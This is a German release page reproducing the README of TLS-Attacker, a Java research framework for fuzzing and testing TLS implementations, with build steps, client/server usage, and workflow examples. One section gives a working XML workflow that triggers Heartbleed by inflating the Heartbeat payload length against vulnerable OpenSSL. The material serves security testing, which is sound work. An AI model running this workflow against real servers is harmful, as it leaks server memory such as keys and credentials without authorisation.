Zurück zu den Updates
New releaseJul 31, 2026

TLS-Attacker v7.0.0-rtc

Java-basiertes Framework für systematisches Fuzzing und Analyse von TLS-Bibliotheken. Ermöglicht das beliebige Erstellen, Modifizieren und Testen von TLS-Client/Server-Protokollnachrichten zur Schwachstellenentdeckung.

Teilen

TLS-Attacker

GitHub release (latest by date) licence Build Status

TLS-Attacker ist ein Java-basiertes Framework zur Analyse von TLS-Bibliotheken. Es ist in der Lage, beliebige Protokollnachrichten in beliebiger Reihenfolge an den TLS-Partner zu senden und deren Modifikationen über eine bereitgestellte Schnittstelle zu definieren. Dies gibt dem Entwickler die Möglichkeit, einfach einen benutzerdefinierten TLS-Protokollablauf zu definieren und gegen seine TLS-Bibliothek zu testen.

Bitte beachten: TLS-Attacker ist ein Forschungswerkzeug, das für TLS-Entwickler und Pentester gedacht ist. Es gibt keine GUI und kein grün/rot.

Kompilieren und Ausführen

Um TLS-Attacker zu kompilieren und zu verwenden, müssen Sie Java und Maven installiert haben. Auf Ubuntu können Sie Maven mit folgendem Befehl installieren:

$ sudo apt-get install maven

TLS-Attacker benötigt derzeit Java JDK 21 zum Ausführen.

Wenn Sie die richtige Java-Version haben, können Sie den Maven-Befehl aus dem TLS-Attacker-Verzeichnis ausführen:

$ git clone https://github.com/tls-attacker/TLS-Attacker.git
$ cd TLS-Attacker
$ mvn clean install

Alternativ, wenn Sie es eilig haben, können Sie die Tests mit folgendem Befehl überspringen:

$ mvn clean install -DskipTests=true

Die resultierenden JAR-Dateien werden im Ordner „apps" abgelegt.

Wenn Sie dieses Projekt als Abhängigkeit verwenden möchten, müssen Sie es nicht selbst kompilieren und können es wie folgt in Ihre pom.xml einbinden:

<dependency>
    <groupId>de.rub.nds.tls.attacker</groupId>
    <artifactId>tls-attacker</artifactId>
    <version>7.0.0</version>
    <type>pom</type>
</dependency>

TLS-Attacker wird mit Demo-Anwendungen ausgeliefert, die Ihnen einen einfachen Zugriff auf die TLS-Attacker-Funktionalität bieten.

Sie können TLS-Attacker als Client mit folgendem Befehl ausführen:

$ cd apps
$ java -jar TLS-Client.jar -connect [host:port]

oder als Server mit:

$ java -jar TLS-Server.jar -port [port]

Obwohl diese Beispielanwendungen an sich schon sehr leistungsfähig sind, entfaltet TLS-Attacker sein volles Potenzial, wenn es als Programmbibliothek verwendet wird.

Codestruktur

TLS-Attacker besteht aus mehreren (Maven-)Projekten:

  • TLS-Client: Die Client-Beispielanwendung
  • TLS-Core: Der Protokollstack und das Herz von TLS-Attacker
  • TLS-Mitm: Ein Prototyp für MitM-Workflows
  • TLS-Server: Die Server-Beispielanwendung
  • TLS-Proxy: Verwendung von TLS-Attacker für SSLSockets
  • TraceTool: Inspektion und Modifikation von TLS-Attacker-Workflow-Traces
  • Transport: Transportdienstprogramme für untere Schichten
  • Utils: Eine Sammlung von Hilfsklassen

TLS-Attacker design

Weitere Informationen zu diesen Modulen finden Sie im Wiki.

Funktionen

Derzeit werden die folgenden Funktionen unterstützt:

  • SSL 3, TLS Versionen 1.0 (RFC-2246), 1.1 (RFC-4346), 1.2 (RFC-5246) und 1.3 (RFC-8446)
  • SSL 2 (Teilweise unterstützt)
  • (EC)DH(E), RSA, PSK, SRP, GOST und ANON Schlüsselaustauschalgorithmen
  • CBC, AEAD und Streamciphers (AES, CAMELLIA, DES, 3DES, IDEA, RC2, ARIA, GOST_28147_CNT_IMIT, RC4, SEED, NULL)
  • ~300 Cipher suites, ~30 Extensions
  • Client und Server
  • HTTPS
  • Workflows mit mehr als zwei Parteien
  • Viele Extensions
  • Tokenbinding (EC) und Tokenbinding over HTTP
  • Sockets
  • TLS 1.3 0-RTT
  • STARTTLS
  • ...

Verwendung

Hier präsentieren wir einige sehr einfache Beispiele zur Verwendung von TLS-Attacker.

Zuerst müssen Sie einen TLS-Server starten (bitte verwenden Sie keine öffentlichen Server). Führen Sie das Skript keygen.sh aus, falls dies noch nicht geschehen ist. Sie können zum Beispiel einen OpenSSL-Testserver verwenden:

$ cd TLS-Attacker/resources
$ openssl s_server -key rsa1024key.pem -cert rsa1024cert.pem

Dieser Befehl startet einen TLS-Server auf Port 4433.

Wenn Sie eine Verbindung zu einem Server herstellen möchten, können Sie diesen Befehl verwenden:

$ cd TLS-Attacker/apps
$ java -jar TLS-Client.jar -connect localhost:4433

Hinweis: Wenn dieser Handshake fehlschlägt, liegt es wahrscheinlich daran, dass Sie keine konkrete Cipher Suite angegeben haben. TLS-Attacker wird die vom Server ausgewählten Cipher Suites nicht vollständig respektieren.

Sie können eine andere Cipher Suite, TLS-Version oder einen anderen Port mit den folgenden Parametern verwenden:

$ java -jar TLS-Client.jar -connect localhost:4433 -cipher TLS_RSA_WITH_AES_256_CBC_SHA -version TLS11

Falls Sie ein erfahrenerer Entwickler sind, können Sie Ihren eigenen TLS-Nachrichtenfluss erstellen, indem Sie Java-Code schreiben. Zum Beispiel:

Config config = Config.createConfig();
WorkflowTrace trace = new WorkflowTrace();
trace.addTlsAction(new SendAction(new ClientHelloMessage()));
trace.addTlsAction(new ReceiveAction(new ServerHelloMessage()));
State state = new State(config, trace);
DefaultWorkflowExecutor executor = new DefaultWorkflowExecutor(state);
executor.executeWorkflow();

TLS-Attacker verwendet das Konzept von WorkflowTraces, um einen „TLS-Nachrichtenfluss" zu definieren. Ein WorkflowTrace besteht aus einer Liste von Aktionen, die dann nacheinander ausgeführt werden. Obwohl für einen typischen „TLS-Nachrichtenfluss" nur SendAction und ReceiveAction benötigt werden, hört das Framework hier nicht auf und implementiert eine Vielzahl anderer Aktionen, die verwendet werden können, um noch beliebigere Nachrichtenflüsse auszuführen. Eine Liste der derzeit implementierten Aktionen mit Erklärungen finden Sie im Wiki.

Wir wissen, dass viele von Ihnen Java hassen. Daher können Sie auch eine XML-Struktur verwenden und Ihr angepasstes TLS-Protokoll aus XML ausführen:

<?xml version="1.0" encoding="UTF-8" standalone="yes"?>
<workflowTrace>
    <!-- Send ClientHello -->
    <Send>
        <configuredMessages>
            <ClientHello>
                <extensions>
                    <ECPointFormat/>
                    <EllipticCurves/>
                    <SignatureAndHashAlgorithmsExtension/>
                    <RenegotiationInfoExtension/>
                </extensions>
            </ClientHello>
        </configuredMessages>
        <configuredRecords>
            <record/>
        </configuredRecords>
    </Send>
    
    <!-- Receive server response -->
    <Receive>
        <expectedMessages>
            <ServerHello>
                <extensions>
                    <ECPointFormat/>
                    <RenegotiationInfoExtension/>
                </extensions>
            </ServerHello>
            <Certificate/>
            <ServerHelloDone/>
        </expectedMessages>
    </Receive>
    
    <!-- Send client key exchange and finish -->
    <Send>
        <configuredMessages>
            <RSAClientKeyExchange/>
            <ChangeCipherSpec/>
            <Finished/>
        </configuredMessages>
        <configuredRecords>
            <record/>
            <record/>
            <record/>
        </configuredRecords>
    </Send>
    
    <!-- Receive server finish -->
    <Receive>
        <expectedMessages>
            <ChangeCipherSpec/>
            <Finished/>
        </expectedMessages>
    </Receive>
</workflowTrace>

Wenn sich diese XML-Struktur in TLS-Attacker/apps/workflow.xml befindet, müssen Sie nur Folgendes ausführen:

$ java -jar TLS-Client.jar -connect [host]:[port] -workflow_input workflow.xml

Protocol-Attacker/Layer System

Ursprünglich für das Angreifen des TLS-Protokolls entwickelt, ist TLS-Attacker in der Lage, beliebige Protokolle zu unterstützen. Zu diesem Zweck weist TLS-Attacker jeder Verbindung einen Layered-Stack zu. Dieser Layered-Stack besteht aus den verschiedenen Protokollschichten, die der Benutzer nutzen möchte. Mit dem Layered-Stack kann der Benutzer Schichten wie DTLS oder HTTP (weitere sind in Arbeit) in beliebiger Reihenfolge hinzufügen.

Um beliebige Nachrichten über einen Layered-Stack zu senden und zu empfangen, kann der Benutzer Konfigurationen für jede Schicht definieren. Diese Konfigurationen legen fest, welche Nachrichten gesendet oder empfangen werden sollen. Dies erlaubt dem Benutzer auch, die schichtspezifischen Nachrichten-/Datencontainer für jede Schicht anzugeben. Beispielsweise könnte man die TLS-Nachrichten und -Records angeben, die TLS-Attacker senden soll. TLS-Attacker würde die angegebenen TLS-Nachrichten dann automatisch in die Records einkapseln.

Modifiable Variables

TLS-Attacker verwendet das Konzept der Modifiable Variables, um Laufzeitänderungen an vordefinierten Workflows zu ermöglichen. Modifiable Variables erlauben es, Änderungen an Basistypen festzulegen, bevor oder nachdem ihre Werte tatsächlich gesetzt werden. Wenn ihre tatsächlichen Werte bestimmt sind und man versucht, auf den Wert über Getter zuzugreifen, wird der Originalwert entsprechend modifiziert zurückgegeben. Weitere Details zu diesem Konzept finden Sie unter https://github.com/tls-attacker/ModifiableVariable.

ModifiableInteger i = new ModifiableInteger();
i.setOriginalValue(30);
i.setModification(new AddModification(20));
System.out.println(i.getValue());  // 50

In diesem Beispiel haben wir eine neue ModifiableInteger definiert und ihren Wert auf 30 gesetzt. Als nächstes haben wir eine neue Modifikation AddModification definiert, die einfach die Summe zweier Ganzzahlen zurückgibt. Wir haben ihren Wert auf 20 gesetzt. Wenn wir das obige Programm ausführen, wird das Ergebnis 50 ausgegeben.

Wir können dieses Konzept natürlich auch bei der Erstellung unserer TLS-Workflows verwenden. Stellen Sie sich vor, Sie möchten einen Server auf eine Heartbleed-Schwachstelle testen. Dazu müssen Sie die Payload-Länge in der Heartbeat-Anfrage erhöhen. Mit TLS-Attacker können Sie dies wie folgt tun:

<?xml version="1.0" encoding="UTF-8" standalone="yes"?>
<workflowTrace>
    <Send>
        <configuredMessages>
            <ClientHello>
                <extensions>
                    <ECPointFormat/>
                    <HeartbeatExtension/>
                    <EllipticCurves/>
                </extensions>
            </ClientHello>
        </configuredMessages>
    </Send>
    <Receive>
        <expectedMessages>
            <ServerHello>
                <extensions>
                    <ECPointFormat/>
                </extensions>
            </ServerHello>
            <Certificate/>
            <ServerHelloDone/>
        </expectedMessages>
    </Receive>
    <Send>
        <configuredMessages>
            <RSAClientKeyExchange>
                <computations/>
            </RSAClientKeyExchange>
            <ChangeCipherSpec/>
            <Finished/>
        </configuredMessages>
    </Send>
    <Receive>
        <expectedMessages>
            <ChangeCipherSpec/>
            <Finished/>
        </expectedMessages>
    </Receive>
    <Send>
        <configuredMessages>
            <Heartbeat>
                <payloadLength>
                    <modifications>
                        <integerExplicitValueModification>
                            <explicitValue>20000</explicitValue>
                        </integerExplicitValueModification>
                    </modifications>
                </payloadLength>
            </Heartbeat>
        </configuredMessages>
    </Send>
    <Receive>
        <expectedMessages>
            <Heartbeat/>
        </expectedMessages>
    </Receive>
</workflowTrace>

Wie Sie sehen, haben wir die Payload-Länge der Heartbeat-Nachricht explizit um 20000 erhöht. Wenn Sie den Angriff gegen den anfälligen Server (z. B. OpenSSL 1.0.1f) ausführen, sollten Sie eine gültige Heartbeat-Antwort sehen.

Weitere Beispiele für Angriffe und weitere Erläuterungen zu TLS-Attacker finden Sie im Wiki.

Erweiterte Funktionen

Einige Aktionen benötigen Kontext oder Konfiguration, um korrekt ausgeführt zu werden. Wenn TLS-Attacker beispielsweise versucht, eine ClientHello-Nachricht zu senden, muss es wissen, welche Werte es in die Nachricht einfügen soll, z. B. welche Cipher Suites oder welche Protokollversion zu verwenden ist. TLS-Attacker bezieht diese Informationen aus einer Konfigurationsdatei (standardmäßig in TLS-Core/src/main/resources/default_config.xml). Werte, die zur Laufzeit bestimmt werden, werden im TlsContext gespeichert. Wenn ein Wert, der normalerweise aus dem Kontext ausgewählt wird, fehlt (weil eine Nachricht noch nicht empfangen wurde), wird der Standardwert aus der Config verwendet. Sie können Ihre eigene Konfigurationsdatei über den Parameter „-config" in der Befehlszeile angeben. Beachten Sie, dass TLS-Attacker, wenn Sie keinen Standardwert in der Konfigurationsdatei explizit definieren, diese Lücke mit fest codierten Werten füllt (die der bereitgestellten Standardkonfiguration entsprechen). Weitere Details zur Anpassung von TLS-Attacker finden Sie im Wiki.

Danksagungen

Wir möchten uns bei allen bedanken, die zum TLS-Attacker-Projekt beigetragen haben.

Ein besonderer Dank geht an die folgenden Personen für ihre bemerkenswerten Beiträge:

Muhammad Abubakar, Fabian Albert, Panneer Selvam Annadurai, Nimrod Aviram, Philipp Brinkmann, Till Budde, Florian Bürger, Christoph Buttler, Jens Carl, Raphael Dietrich, Felix Dreissig, Bastian Ebach, Malena Ebert, Robert Engel, Nils Engelbertz, Paul Fiterau Brostean, Janis Fliegenschmidt, Alexander Freiherr von Buddenbrock, Matthias Manfred Geuchen, Alexander Glasfort, Nils Hanke, Lucas Hartmann, Bastian Haverkamp, Nico Heitmann, Jannik Hölling, Selami Hoxha, Kevin Jagla, Nils Kafka, Jan Kaiser, Anton Khristoforov, Felix Kleine-Wilde, Mario Korth, Sebastian Krois, Christian Krug, Florian Linsner, Christian Mainka, Jonas Moos, Simon Nachtigall, Simon Nattefort, Philipp Nieting, Niels Pahl, Christoph Penkert, Florian Pfützenreuter, Adrian Pinner, Malte Poll, Christian Pressler, Tim Reisach, Philip Riese, Nils Luca Rudminat, Henrik Schaefer, Marten Schmidt, Conrad Schmidt, Daniel Siegert, Tim Storm, Rigers Sulku, Bjarne Tempel, Matthias Terlinde, Jonas Thiele, Pierre Tilhaus, Joshua Waldner, Patrick Weixler, Philipp Wirth, Asli Yardim, Dennis Ziebart, David Ziemann, Philipp Ziemke

Weitere Beiträge und Pull Requests sind willkommen.

Wissenschaftliche Publikationen

Die grundlegenden Konzepte hinter TLS-Attacker und mehrere Angriffe werden in folgendem Paper beschrieben:

Im Folgenden listen wir aktuelle wissenschaftliche Studien auf, die TLS-Attacker verwendet haben. Die vollständige Liste finden Sie im Wiki

Wenn Sie Forschungsideen haben oder Unterstützung benötigen, kontaktieren Sie uns gerne auf Twitter (@ic0nz1 , @jurajsomorovsky , @marcelmaehren , @nerinola1 , @JonSnowWhite2) oder unter https://www.hackmanit.de/.

Wenn TLS-Attacker Ihnen hilft, einen Fehler in einer TLS-Implementierung zu finden, geben Sie bitte dieses Tool an. Vielen Dank!

Mehr lesen

Kategorien

SchwachstellenanalyseFuzzingNetzwerksicherheitKryptographiePenetrationstests